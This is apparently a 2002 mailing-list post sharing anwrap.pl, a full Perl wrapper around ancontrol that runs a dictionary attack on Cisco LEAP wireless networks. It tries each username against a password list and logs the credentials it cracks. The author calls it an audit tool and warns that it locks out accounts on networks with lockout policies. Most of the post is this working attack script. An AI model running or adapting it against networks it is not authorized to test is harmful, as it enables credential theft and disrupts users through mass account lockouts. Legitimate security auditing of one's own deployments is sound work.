anwrap.pl - ancontrol wrapper for Cisco LEAP

Hi!

Though I am a pretty extensive user of the BAT tools, this is my
first post to this list...

Now that I have pillaged through list archives to ensure not to repeat a
post, I plan on becoming an active member of this list.

Many hours of fun the tools suite has dealt me...Thanks and BEAUJOLIAS!
to all who developed it.

This is not a BAT related post, but I felt that BSD wireless users would
certainly lurk about in here somewhere, and wanted to share a wrapper for
ancontrol that audits password schemes for LEAP a friend and I have written.

cheers.

It is included below:

#STARTS HERE

#!/usr/bin/perl
#
# Version 0.1
# anwrap.pl is a wrapper for ancontrol that serves as a Dictionary
# attack tool against LEAP enabled Cisco Wireless Networks.  Traverses
# a user list and password list attempting authentication and logging the
# results to a file. Really wrecks havoc on RADIUS calls to NT Networks that
# have lockout policies in place, you have been warned.  Tweak the Timeouts,
# a lengthy LEAP timeout on the Cisco side could make for a very boring afternoon.
# This tool was designed to audit authentication strengths before deploying LEAP in
# a production environment.
#
# Needs ancontrol and some Perl stuff, hit up CPAN until the errors go away.
# Tested on FreeBSD 4.7.
#
# General Usage : $0 <userfile> <passwordfile> <logfile>
#
# Brian Barto < [email protected] > and Ron Sweeney < [email protected] >
# November 2K02
#
# http://www.modelm.org/anwrap/
#

use Expect ();


if ($#ARGV<0) {
&usage;
}

#setup some stuff

$userfile =$ARGV[0];
$passfile=$ARGV[1];
$logfile = $ARGV[2];
$date =`date`;

open(GAR, $passfile) or die "can't open password file, $passfile";
@GAR= <GAR>;

open(USER, "<$userfile") or die;
@users = <USER>;
close(USER);

open(FILE, ">>$logfile");
print FILE "\n\nScript started at $date \n\n";
close(FILE);

foreach $user (@users)
{
	chop($user);
	$auth_success = "no";
	$end_of_passwords = "no";
	$i = 0;
	while ($auth_success eq "no" && $end_of_passwords eq "no")
 	{
		$pass = $GAR[$i];
		chop($pass);
		local $/;
		$p = Expect->spawn('ancontrol -L '.$user);
		$p->expect(5, "assw") || die "Never recieved LEAP password";
		print $p "$pass\r";
		print $pass,"\n";
		if ($p->expect(10, "uth"))
		{
			print "Success!\n";
			open(FILE, ">>$logfile") or die;
			print FILE "User: $user Password: $pass SUCCESS! ", "\n";
			close(FILE);
			$auth_success = "yes";
		}
		else
		{
			print "Failed\n";
			open(FILE, ">>$logfile") or die;
			print FILE "User: $user Password: $pass FAILED! ", "\n";
			close(FILE);
		}
		$p->close();
		if ($i == $#GAR) { $end_of_passwords = "yes"; }
		else { $i++; }
	}

}
sub usage {

print "\nUsage : $0 <userfile> <passwordfile> <logfile>\n\n";
print "Ron Sweeney <sween\@modelm.org>\n";
print "Brian Barto <brian\@bartosoft.com>\n\n\n\n";
exit;

}

#ENDS HERE
--

 ---  -sween
| M | http://www.modelm.org
 ---  "TYPE HARD OR GO HOME." | US Patent, US4118611